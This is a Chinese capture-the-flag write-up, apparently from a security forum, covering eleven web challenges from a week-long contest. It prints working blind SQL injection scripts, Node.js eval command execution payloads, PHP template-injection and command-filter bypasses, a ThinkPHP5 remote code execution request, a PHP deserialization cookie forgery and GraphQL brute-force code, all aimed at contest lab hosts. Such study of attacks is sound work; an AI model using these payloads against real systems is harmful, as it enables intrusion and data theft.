前言

竞技赛持续了7天,为了肝题也是7天没有睡好觉,不过这个比赛也学到很多,在这里比心出题师傅和客服师傅们,比赛真的办的很用心。这次总共16道Web题,最后肝出了11道,6道一血,1道三血。WP尽量具体,把我整个做题过程的思路带上。希望能给大家带来帮助~

1.给赵总征婚(300 points)

考点:爆破密码

解题步骤:

1.用源码提示的rockyou字典爆破admin的密码即可

2.NSB Reset Password(300 points)

考点:Session

解题步骤:

1.打开靶机,发现跟上一题征婚相比,多了一个注册功能,随便注册一个账号登陆

2.还有个重置密码的页面排除上一题爆破密码的可能,猜测这题需要重置admin的密码

3.重置密码需要通过一个验证码校验,验证码是通过发送邮箱获得,但是我们不知道admin的邮箱

4.另外发现,删了cookie后,原来的账号就不存在了,说明,这题是根据session来判断当前用户的,那么就可以猜想,如果我们一开始去修改我们注册的用户,然后利用自己邮箱的验证码通过验证,再用另一个页面同样的session去重置admin,而当前重置的密码根据session判断我们要修改的用户(此时已经变成了admin),所以即可成功修改admin的密码

5.重置密码后登陆admin获得flag

3.Twice_injection(500 points)

考点:二次注入,mysql5.7特性

解题步骤:

1.打开靶机,发现环境是sql-labs 第24关,注入点在pass_change.php的修改密码处的用户名字段,因为是直接从Session中取出后拼接到update语句中,从而造成二次注入

2.按照sql-labs的做法,修改admin用户密码,登陆后发现没有flag,说明flag在数据库中

3.布尔盲注,盲注payload:

admin' and ascii(substr(database(),%d,1))=%d#

在username字段后构造条件语句,如果条件为真,则修改密码成功,为假则修改密码失败

4.注出数据库名:security,在尝试注表时发现关键字or被过滤了,所以不能使用information_schema

5.注版本信息发现mysql版本为5.7,所以可以利用自带的mysql库中新增的innodb_table_stats这个表,来获得数据库名和表名,参考:https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/

6.注表名payload:

admin' and ascii(substr((select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()),%d,1))=%d#

7.获得fl4g表:

8.最后获取flag的exp:

import requests

index_url = "http://101.71.29.5:10002/index.php"
login_url = "http://101.71.29.5:10002/login.php"
pass_change_url = "http://101.71.29.5:10002/pass_change.php"
register_url = "http://101.71.29.5:10002/login_create.php"
s = requests.Session()
database = ""#mysql,security,sys
version = "5.7.27"
table_name = "emails,referers,uagents,users" #gtid_executed,fl4g,sys

for i in range(1,50):
    for j in range(44,128):
        register_data = {
            "username":"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121"%(i,j),
            "password":"123",
            "re_password":"123",
            "submit":"Register"
        }
        r1 = s.post(register_url,data=register_data)
        login_data = {
            "login_user":"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121"%(i,j),
            "login_password": "123",
            "mysubmit": "Login"
        }
        r2 = s.post(login_url,data=login_data)
        pass_change_data = {
            "current_password": "123",
            "password": "somnus1" + str(i),
            "re_password": "somnus1" + str(i),
            "submit": "Reset"
        }
        r3 = s.post(pass_change_url, data=pass_change_data)
        if "Password successfully updated" in r3.text:
            database = database + chr(j)
            print database
            break

4.checkin(600 points)

考点:nodejs注入

解题步骤:

1.打开靶机,发现是一个websocket的js网站,/js/app.03bc1faf.js中可以看到源码

2.根据提示,需要我们先输入/name nickname来进行登陆,登陆后,审计源码发现可以执行一个calc操作

3.执行/calc 5*6 发现返回30,猜测这里存在命令执行,参考:Node.js代码审计之eval远程命令执行漏洞

4.调用child_process模块执行命令,题目过滤了空格,用$IFS替代

5.执行ls:

/calc require("child_process").execSync("ls$IFS/").toString()

6.cat flag:

/calc require("child_process").execSync("cat$IFS/flag").toString()

5.简单的备忘录(800 points)

考点:graphql

解题步骤:

1.打开靶机,有个链接,访问发现是一个graphql的查询接口

2.通过get-graphql-schema工具将graphql模式都一一列举出来:

$get-graphql-schema http://101.71.29.5:10012/graphql

3.摸清层次后,进行层层嵌套查询

{
  allUsers {
    edges {
      node {
        id
        username
        memos{
          pageInfo {
            hasPreviousPage
            hasNextPage
            startCursor
            endCursor
          }
          edges{
            node{
              id
              content
            }
          }
        }
      }
      cursor
    }
  }
}

4.flag就在Meno类的content字段中

6.加密的备忘录(1000 points)

考点:graphql,unicode变形编码还原

解题步骤:

1.打开靶机,源码提示我们:

<!--     GraphQL 真方便       All your base are belong to us!!!!!      -->

2.访问一下,还是有graphql接口,只是没有像上一题那样写一个界面

3.同样用get-graphql-schema列出结构:

4.相比于上一题,发现Query类中多了一个方法checkPass,类Memo_也多了一个成员属性password,我们同样用上一关的payload来查询一下结果

5.查询结果发现,相比于之前那题,content字段和多出来的password字段的值看起来像是经过unicode编码,将password字段值拿去unicode解码,发现是一串很奇怪的汉字

6.想到还有一个方法checkPass没试,于是构造一下数据包:

从查询结果来分析,我们输入的password:1貌似经过了unicode编码后,返回告诉我们这个密码查询结果为空

7.把1经过unicode编码后的字符串:\u4e3a\u6211\u7231\u7231,再次拿去解码,又是一串看不懂的中文:

8.而如果我们直接把前面查的password字段中的字符串拿来查询,结果出现整形溢出而报错

9.所以猜测:这个checkPass方法会将我们查询的password值进行一次变形的unicode编码后,进行查询,那么,我们就需要将password字段值进行还原明文的操作。通过测试发现,可以进行逐位爆破明文,现在我们要破解的是password密文:

\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231

那么,首先先对第一个密文字符串:\u8981进行解密

首先爆破第一位明文:

爆破发现,第一个明文范围可能为[H-K]

第二个明文,就根据第一个明文的可能来列举爆破,看看是否符合最前面两串密文字符串:\u8981\u6709

发现,第一个明文字符为H时,第二个明文字符为[a-o],前两串密文都满足:\u8981\u6709

由此确定,第一个明文字符为:H

以此类推,根据checkPass返回的结果来逐位爆破出明文

10.按照这个思路,编写爆破exp,代码如下:

import requests
import string
import json
import re
from time import sleep

url = "http://101.71.29.5:10037/graphql"
s = string.ascii_letters + string.digits + "{}"

password = "\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231"
#password = "\u5230\u5e74\u79cd\u6210\u5230\u5b9a\u8fc7\u6210\u4e2a\u4ed6\u6210\u4f1a\u4e3a\u800c\u65f6\u65b9\u4e0a\u800c\u5230\u5e74\u5230\u5e74\u4ee5\u53ef\u4e3a\u591a\u4e3a\u800c\u5230\u53ef\u5bf9\u65b9\u751f\u800c\u4ee5\u5e74\u4e3a\u6709\u5230\u6210\u4e0a\u53ef\u6211\u884c\u5230\u4ed6\u7684\u9762\u4e3a\u4eec\u65b9\u7231"
find_password = ""
change_password = ""#HappY4Gr4phQL
pass_list = password.split("\u")[1:]
count = 0
query = {"query":"{\n  checkPass(memoId: 1, password:\"%s\")\n}\n"}
query = json.dumps(query)
headers = {
    "Content-Type":"application/json"
}

while find_password != password:
    possible_list = []
    end = 0
    for i in s:
        payload = query % (change_password + i)
        s1 = requests.Session()
        r = s1.post(url,headers= headers,data=payload)
        sleep(0.1)
        message = str(re.findall("'(.*)' not",r.text)[0])
        message_list = message.split("\u")[1:]
        if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]) and (message_list[count + 2] == pass_list[count + 2]):
            change_password = change_password + i
            end = 1
            break
        elif message_list[count] == pass_list[count]:
            possible_list.append(i)
    if end == 1:
        print change_password
        break
    #print possible_list
    count = count + 1
    poss1_list = []
    for j in possible_list:
        for z in s:
            payload = query % (change_password+j+z)
            s1 = requests.Session()
            r1 = s1.post(url, headers=headers, data=payload)
            sleep(0.1)
            message = str(re.findall("'(.*)' not", r1.text)[0])
            message_list = message.split("\u")[1:]
            if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]) and (message_list[count + 2] == pass_list[count + 2]):
                end = 1
                break
            elif message_list[count] == pass_list[count]:
                poss1_list.append(z)
        if len(poss1_list) != 0:
            change_password = change_password + j
            if end == 1:
                change_password = change_password + z
            find_password = find_password + "\u" + pass_list[count - 1]
            break
        if end == 1:
            break
    if end == 1:
        print change_password
        break
    #print poss1_list
    if len(poss1_list) == 1:
        print change_password
        continue
    else:
        count = count + 1
        for k in poss1_list:
            for m in s:
                payload = query % (change_password + k + m)
                s1 = requests.Session()
                r2 = s1.post(url,headers=headers,data=payload)
                sleep(0.1)
                message = str(re.findall("'(.*)' not", r2.text)[0])
                message_list = message.split("\u")[1:]
                if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]):
                    change_password = change_password + k + m
                    find_password = find_password + "\u" + pass_list[count - 1] + "\u" + pass_list[count] + "\u" + pass_list[count + 1]
                    end = 1
                    break
            if end == 1:
                break
        count = count + 2
        print change_password
        print find_password

11.跑出的密码是:HappY4Gr4phQL

检查一下是否正确:

12.查询结果为true,说明正确,但是,没有返回flag,这时候突然想到,content字段中也有一串密文,按照上题来看,flag估计就是content字段的明文值了,于是继续爆破content字段密文

13.最后跑出flag

7.审计一下世界上最好的语言吧(1000 points)

考点:代码审计,命令执行

解题步骤:

1.下载www.zip,审计源码

2.漏洞触发点很明显,只有一个,在parse_template.phpparseIf函数中

分析发现,该函数对传入的参数$content进行{if:(.*?)}(.*?){end if}规则的正则匹配,将匹配的结果的第一个元素,即{if:(.*?)}的(.*?)匹配字符串拼接到eval函数中执行命令

3.接着找找哪里调用了parseIf函数

parse_template.phpparse_again函数的末尾,调用了该函数,继续跟踪,就发现在index.php的最后,调用了parse_again函数

4.接下来,就是想办法让输入的参数符合条件,来执行parse_again函数,进而执行parseIf函数,触发漏洞

5.首先看下全局过滤:common.php

全局文件common.php对GET,POST,COOKIE中的参数进行了进行了check_var的检查,过滤了关键字:_GET,_POST,GLOBALS,然后,进行了变量覆盖的操作

6.所以执行parse_again函数的条件,就是content参数符合正则匹配:<search>(.*?)<\/search>

也就是说,我们随便传个参数?content=<search>123</search>就可以执行parse_again

7.然后重点审计parse_again函数

该函数处理过程大致是:对传入的searchnumtypetypename和index.php中一开始传入的参数content,进行一个RemoveXSS的过滤,该函数过滤了大部分关键字:

其中就包括了parseIf函数中匹配的关键字:if:

过滤后,截取前20个字符,进行template.html模板文件的标签替换,最后触发parseIf,通过eval执行模板文件中符合{if:(.*?)}(.*?){end if}正则匹配的第一个结果字符串

如果我们输入的参数包含{if:,经过RemoveXSS处理后就变成了{if<x>:,那么必然就不符合后面的匹配

所以,我们首先需要想办法来绕过RemoveXSS的过滤

我们可以发现,在RemoveXSS的过滤和执行parseIf的中间,还进行了4次的str_replace函数的替换,那么,我们就可以利用替换,来绕过过滤,比如我们传入:

?content=<search>{i<haha:type>f:phpinfo()}{end if}</search>

因为type参数为空,所以最后传入parseIf函数的内容就包括:

<search>{if:phpinfo()}{end if}</search>

就能成功匹配了,但是,这里还有长度20的限制,所以,我们可以通过多次替换,来绕过限制

在模板文件中,存在一处可以让我们通过拼接来凑成{if:(.*?)}(.*?){end if}匹配结构的地方

8.传入payload:

?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:phpinfo()}

成功执行phpinfo,看看有没有disable_functions的限制

没有限制

8.接下来就是读flag.php文件,选用一个最短的readfile函数

?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:readfile('flag.php')}

但是,这样type参数长度还是超过了20,这时候,想到还有最后一个参数typename没有利用到,于是,传入:

?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:rea{haha:typename}&typename=dfile(%27flag.php%27)}

8.bypass(800 points)

考点:rce,正则匹配特点,文件通配符,命令换行,命令注释

1.源码:

命令执行bypass,过滤点有两处

(1)正则匹配的黑名单:

if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
        $a = "";

(2)对输入参数强制包裹双引号"":

$a ='"' . $a . '"';

其实最致命的是第二处过滤,强制添加双引号,即使我们输入了黑名单里没有的命令,在双引号的作用下,也执行不了命令

所以,这时候就想到了,强制命令执行的反引号`

2.但是,这里好像正则过滤了?其实没有,不信,我们测试一下:

很惊奇的发现,由于前面存在的:

\\|

会将|进行转义,这是因为在preg_match中,三个反斜杠\\\才能匹配一个真正意义上的字符反斜杠\,所以这里因为正则的匹配机制造成了反引号逃逸

3.执行命令:

?a=`uname`

果然成功执行uname,那么接下来,就是想办法列目录了,虽然这里ls被禁用了,但是我们还可以用dir

?a=`dir /`

4.但是没有发现flag文件,试着找了其他常见目录下,也未发现,那么,就试着执行查找文件名操作:find

虽然find在黑名单中,但是,我们可以通过执行二进制文件通配符?的结合来进行绕过

payload:

?a=`/usr/b??/???d / -name ?lag`

但是还是未找到flag文件,再试着grep -R来搜索flag内容ctf,payload:

?a=`/?in/gre?%20-R%20ctf`

发现flag

5.不过这是非预期解,后面出题人把\\位置换到\^的前面,预期解是:

?a=\&b=%0a/???/gr?p%20-R%20ctf%20%23

实质上还是因为正则\\匹配不到\的问题,使用了换行%0a,再结合linux的命令终止符%20#处理双引号,最终的命令为:

file "\" "
/???/gr?p -R ctf #"

9.easy_admin(1000 points)

考点:sql注入,HTTP头部修改

解题步骤:

1.打开靶机,是一个登陆界面

2.扫描目录,发现存在admin.php

3.另外还有个forget.php

思路就应该是要登陆admin,在forget.php中发现username存在注入点,用户名不存在时会返回no this user,利用这个点进行布尔盲注

fuzz发现过滤了orandselect等关键字,用&&来代替and即可,盲注脚本如下:

import requests

url = "http://101.71.29.5:10045/index.php?file=forget"
password = ""
for i in range(1,50):
    for j in range(44,128):
        data= {
            "username":"admin' && ascii(substr(password,%d,1))=%d#"%(i,j)
        }
        r = requests.post(url,data=data)
        if "no this user" not in r.text:
            password = password + chr(j)
            print password

4.跑出admin的密码:flag{never_too

然后登陆admin

提示我们:admin will access the website from,于是加个头部字段:

Referer:127.0.0.1

拿到另一半flag

最后的flag就是:flag{never_too_late_to_x}

10.easy_pentest(1000 points)

考点:tp框架特性,信息泄露,rce

解题步骤:

1.考点即题目的两个hint:

Hint1:tp框架特性 
Hint2:万物皆有其根本,3.x版本有,5.x也有,严格来说只能算信息泄露

2.测试发现,我们输入index.php等已知的tp文件,都会自动跳转回not_safe.html,我们首先要找到泄露信息的点,获得权限去访问

3.信息泄露,就想到了去查看tp日志

通过fuzz,发现runtime/log/201910/02.log存在信息泄露

4.发现一个关键的参数safe_key,然后根据上面写的头部再次访问

访问成功,跳转到了safe_page.html,并获取到了tp版本为5

5.接下来,就是去找tp5是否存在已知爆出的远程rce的漏洞,参考:ThinkPHP5漏洞分析之代码执行(十)

6.漏洞点是tp5的method代码执行,漏洞触发点在call_user_func函数

7.直接拿payload打过去

8.成功执行,后面测试发现过滤了如下内容:

file关键字

php短标签:
<?php
<?
<?=

php伪协议:
php://filter

disable_functions:system,shell_exec,exec,proc_open,passthru等命令执行函数

9.另外php版本是7.1,也就是说assert不能动态调用了,而eval在php手册中已经写道:是一个language construct,而不是一个函数,所以也不能通过call_user_func来调用

10.我们能利用的就只有读取文件show_source和扫描目录scandir,show_source可以很轻松的读到/etc/passwd,但是不知道flag文件路径,而scandir会因为是返回数组而无法输出

11.所以得想办法,输出scandir,参考:记一次有趣的tp5代码执行,里面提到filter可以通过传递多个来对参数进行多次的处理

12.所以,可以先传入filter[]=scandir&get[]=/,这样读取完目录后。传入filter[]=var_dump,就可以成功输出扫描目录结果了

13.payload:

POST /public/index.php?safe_key=easy_pentesnt_is_s0fun HTTP/1.1
Host: 101.71.29.5:10021
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
x-requested-with: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1
Referer: http://101.71.29.5:10021/public/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 84

_method=__construct&method=get&server[]=1&filter[]=scandir&get[]=/&filter[]=var_dump

14.flag文件在/home目录下

15.最后读取flag

11.K&K战队的老家(1000 points)

考点:万能密码,LFI,代码审计,反序列化

解题步骤:

1.打开靶机,是一个登陆界面

2.用万能密码即可登陆:

3.登陆后,给了我们一串看不懂的cookie:

%26144%2616a%2615f%26123%2613f%26159%2613a%2616a%2614a%26148%2613e%2616a%26151%26147%26129%26165%26139%2615a%2615f%2616a%2613f%2615e%26164%2616a%2613f%2615a%26149%26126%26139%2615d%2613e%2615f%26152%26122%26129%2616a%2614a%26143%26139%26127%26151%26144%2615f%26168%2613f%26123%2613d%26126%2613d%2615a%2615f%26159%26151%26147%26141%26159%2613f%26122%2615b%26126%2613d%26144%26164%2616a%2613f%2615a%26157%26126%26139%2615e%26146%2616a%2614a%26148%2613a%26165%26149%26147%26121%2615c%26139%2615a%26164%2616a%2613f%2615a%26153%26126%26139%2615e%26146%26165%26149%26147%26142%26164%26151%26147%26124%26159%2613f%26123%26120%2612d

4.然后来到后台,源码中发现有个debug功能,并且m参数疑似存在LFI

5.访问debug

6.提示cookie出错,猜想可能需要伪造一个正确的cookie,才能使用debug功能,那么就需要获取源码

7.m参数过滤了关键字phpbase64,尝试大小写,发现可以绕过,读取源码:

?m=PHP://filter/convert.Base64-encode/resource=home

8.拿到源码后,审计发现,在debug.php的魔术方法__toString中,存在包含flag.php文件的操作,那么这就是我们最后要执行的地方

9.触发__toString魔术方法的条件就是把类当作字符串输出,对应debug.phpdebug方法的末尾方法

要触发debug方法,就在home.php末尾代码:

10.但是中间有许多waf需要我们bypass

(1)check函数:check($cookie, $db, $session);

此处存在反序列点,而且$objstr对应cookie的identity字段,没用过滤,是可控的,我们可以进行任意的反序列化操作

这里只需要没反序列化正确,就能通过

(2)index_check函数:index_check($session->id, $session->username);

返回结果数量不能小于4,即我们反序列化后对象的username和id字段拼接道Sql语句后必须有查询结果

(3)debug类的__construct魔术方法,check1函数

检查对象的username字段是否为debuger,意思是我们查询的用户名必须是debugercheck1函数同理

(4)最后输出echo $this->forbidden;

虽然前后矛盾,但是细看,第一个比较是===,而第二个比较switch则是弱类型比较即==,所以我们可以让$this->choose为"2",即可绕过过滤

11.综上,写出如下POC:

<?php

function cookie_encode($str) {
    $key = base64_encode($str);
    $key = bin2hex($key);
    $arr = str_split($key, 2);
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);
        $num = $num + 240;
        $cipher = $cipher.'&'.dechex($num);
    }
    return $cipher;
}

class session{
    public $choose = 1;
    public $id = 0;
    public $username = "";
}

class debug
{
    public $choose = "2";
    public $forbidden = "";
    public $access_token = "";
    public $ob = NULL;
    public $id = 2;
    public $username = "debuger";

    public function __construct()
    {
        $this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
    }
}

$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));

?>

12.运行得到cookie的payload:

&144&16a&15f&121&13f&159&13a&15b&14a&147&13a&121&14a&169&139&126&13e&15a&160&127&153&16a&15f&122&13f&159&13a&15a&151&137&129&166&153&122&145&159&13f&123&13d&126&13d&144&15f&159&13d&159&139&127&153&16a&15f&125&13f&159&13a&15d&152&123&13a&159&151&147&142&15b&14a&147&124&159&13f&120&128&126&13e&144&15f&159&14a&137&146&159&154&147&153&159&13f&15a&149&126&155&123&13d&126&13e&15a&15f&159&149&122&158&166&152&123&13e&15c&139&15a&164&16a&13f&15a&135&126&139&15a&139&159&13f&123&13d&126&13f&144&15f&159&14a&15d&129&169&149&15d&15c&15b&14a&137&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129

13.传入后发现,此时已经成功包含flag.php,但是,提示了一段信息:token error,并且告诉我们在flag.php中还包含了access.php猜想可能对应类中的access_token参数,但是因为是include,所以我们看不到flag.php的源码。这里也是卡了很久,后来才发现有备份文件:access.php.bak

<?php
error_reporting(0);
$hack_token = '3ecReK&key';
try {
    $d = unserialize($this->funny);
} catch(Exception $e) {
    echo '';
}
?>

14.那么,我们再添加一个参数$this->funny,反序列化后的access_token3ecReK&key即可

最终POC:

<?php

function cookie_encode($str) {
    $key = base64_encode($str);
    $key = bin2hex($key);
    $arr = str_split($key, 2);
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);
        $num = $num + 240;
        $cipher = $cipher.'&'.dechex($num);
    }
    return $cipher;
}

class session{
    public $choose = 1;
    public $id = 0;
    public $username = "";
}

class debug
{
    public $choose = "2";
    public $forbidden = "";
    public $access_token = "";
    public $ob = NULL;
    public $id = 2;
    public $username = "debuger";
    public $funny = 'O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}';

    public function __construct()
    {
        $this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
    }
}

$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));

?>

点击收藏 | 2 关注 | 2
登录 后跟帖